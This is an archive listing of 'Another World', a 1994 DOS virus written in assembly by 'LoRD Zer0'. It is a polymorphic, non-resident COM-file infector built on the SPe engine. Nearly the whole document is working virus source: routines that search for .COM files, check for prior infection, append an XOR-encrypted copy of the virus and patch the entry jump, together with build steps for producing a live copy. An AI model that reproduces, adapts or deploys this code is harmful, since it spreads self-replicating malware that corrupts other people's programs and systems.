home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / SPE.ZIP / SPE_V11.ZIP / DEMO.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-03-06  |  3.6 KB  |  187 lines

  1.  
  2. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  3. ;                                          ;
  4. ;                                          ;
  5. ;               A n o t h e r  W o r l d                  ;
  6. ;                                          ;
  7. ;                                          ;
  8. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  9.  
  10.  
  11. ; Virus name: Another World
  12. ; Origin: Sweden
  13. ; Engine: SPe v1.1 (Simple Polymorphic Engine)
  14. ; Author: LoRD Zer0
  15. ; Date: November 1994
  16. ; Eff length: 636 - 640 bytes
  17. ; SPe is 380 bytes
  18. ; AW is 245 bytes
  19. ; It's a none resident COM file infector. With no extra effects.
  20. ; It's just a demo vx for SPe. (SPe is a lame Engine. It's made just for
  21. ; Fun. I've get a bit tried of my real polymorphic Engine, Genetic eXchanger.)
  22. ; Well, One TridenT guy wrote a polymorphic vx in 444 bytes, So this is no 
  23. ; record.
  24. ; The vx isn't so well comentated, because a normal vx coder will have no 
  25. ; problem to understand the code except comments.
  26.  
  27. ; DISCLAIMER:
  28. ; LoRD Zer0 is hereby not responsilbe for any damage caused by usage of
  29. ; the Another world virus or SPe. Use theis product entirely at your own risk.
  30. ; The author makes no guarantees as to the correct functioning of this 
  31. ; product. This files may be freely distributed, so long as NO money will 
  32. ; exchange.
  33.  
  34. ; Greets goes out to all none destructive Virus writers.
  35. ; (The highest goal of all viruses is surviveal, why then take suicide?)
  36.  
  37. ; Virus writting is not terrorism, cause we have no goal....(haven't we?)
  38.  
  39. ; To make a working copy of the virus:
  40. ; tasm /m2 spe.asm
  41. ; tasm /m2 demo.asm
  42. ; tlink /t demo.obj
  43. ; tlink /t spe.obj
  44. ; copy /b demo.com+spe.com another.com
  45. ;
  46. ;It won't work with Masm.
  47.  
  48.     .MoDEL TiNY
  49.     .CoDE
  50.     org    100h
  51.  
  52. ; "Our decitions are decided by God, because he gave us our genes."
  53. Start:
  54.     db    0e9h,0,0
  55.     call    begin
  56. Begin:    pop    bp
  57. ; Instead of put a SUB BP,offset begin, I've have put out -106h.
  58.     mov    di,100h
  59.     lea    si,[bp+buffer-106h]
  60.     movsw
  61.     movsw
  62.  
  63.     mov    ah,1ah
  64.     lea    dx,[bp+DTA-106h]
  65.     int    21h
  66.  
  67.     lea    dx,[bp+Comfile-106h]
  68.     xor    cx,cx
  69.     mov    ah,4eh
  70. again:
  71.     int    21h
  72.     jnc    not_done
  73.     jmp    done
  74. not_done:
  75.  
  76.     lea    dx,[fname+bp-106h]
  77.     mov    ax,3D02h
  78.     int    21h
  79.  
  80.     xchg    bx,ax
  81.  
  82.     mov    ah,3fh
  83.     lea    dx,[bp+buffer-106h]
  84.     mov    cx,4
  85.     int    21h
  86.  
  87.     cmp    byte ptr [buffer+bp-106h],40h
  88.     jne    go_on
  89. loop_me:
  90.     call    close
  91.     mov    ah,4fh
  92.     jmp    again
  93. comfile    db    '*.com',0
  94. buffer    db    0CDh,20h,0,0
  95.     db    'Another World, a Better World..',0    ;Well, perhaps..
  96. go_on:
  97.  
  98.     cmp    word ptr [buffer+bp-106h],'ZM'
  99.     je    loop_me
  100.  
  101.     mov    ax,4202h
  102.     cwd
  103.     xor    cx,cx
  104.     int    21h
  105.  
  106.     mov    si,ax
  107.     add    si,100h
  108.     sub    ax,4
  109.     mov    word ptr [new_jmp+bp-106h],0e940h    ;40h = INC AX
  110.     mov    word ptr [new_jmp+bp-104h],ax
  111.  
  112.     mov    cx,v_Size
  113.     lea    di,[work_space+bp-106h]
  114.     push    di
  115.     push    bx
  116.     push    bp
  117.     call    Engine
  118.     pop    bp
  119.     pop    bx
  120.     
  121.     lea    si,[bp+start-103h]
  122.     cld
  123.     xchg    al,ah
  124.     xchg    dx,cx
  125.     push    cx
  126. xor_me:
  127.     lodsb
  128.     xor    al,ah
  129.     stosb
  130.     loop    xor_me
  131.     pop    cx
  132.     add    cx,dx
  133.     pop    dx
  134.     mov    ah,40h
  135.     int    21h
  136.     jc    close_me
  137.  
  138.     mov    ax,4200h
  139.     cwd
  140.     xor    cx,cx
  141.     int    21h
  142.  
  143.     lea    dx,[new_jmp+bp-106h]
  144.     mov    cx,4
  145.     mov    ah,40h
  146.     int    21h
  147.  
  148. close_me:
  149.     call    close
  150. done:
  151.     mov    dx,80h
  152.     mov    ah,1ah
  153.     int    21h
  154.  
  155.     mov    ax,100h
  156.     push    ax
  157.     xor    ax,ax
  158.     ret
  159.     db    'WHY?'        ;It's a good question...
  160. close:
  161.     mov    ax,5700h
  162.     int    21h
  163.     inc    ax
  164.     int    21h
  165.  
  166.     mov    ah,3eh
  167.     int    21h
  168.     retn
  169. Engine:
  170. ; COPY /B DEMO.COM+SPE.COM V.COM
  171. the_end:
  172. new_jmp        = offset the_end+396 ; 396 for the engine    
  173. DTA        = offset offset New_jmp+4
  174. fattrib        = offset DTA+21
  175. ftime        = offset fAttrib+1
  176. fdate        = offset Ftime +2
  177. Fsize        = offset Fdate+2
  178. fname        = offset Fsize+4
  179. work_Space    = offset fname+14
  180. v_size    =    $-offset start+3
  181.     end    Start
  182.  
  183.  
  184.  Coded by LoRD Zer0 1994.
  185.  Somewhere in the kingdom of Sweden....
  186.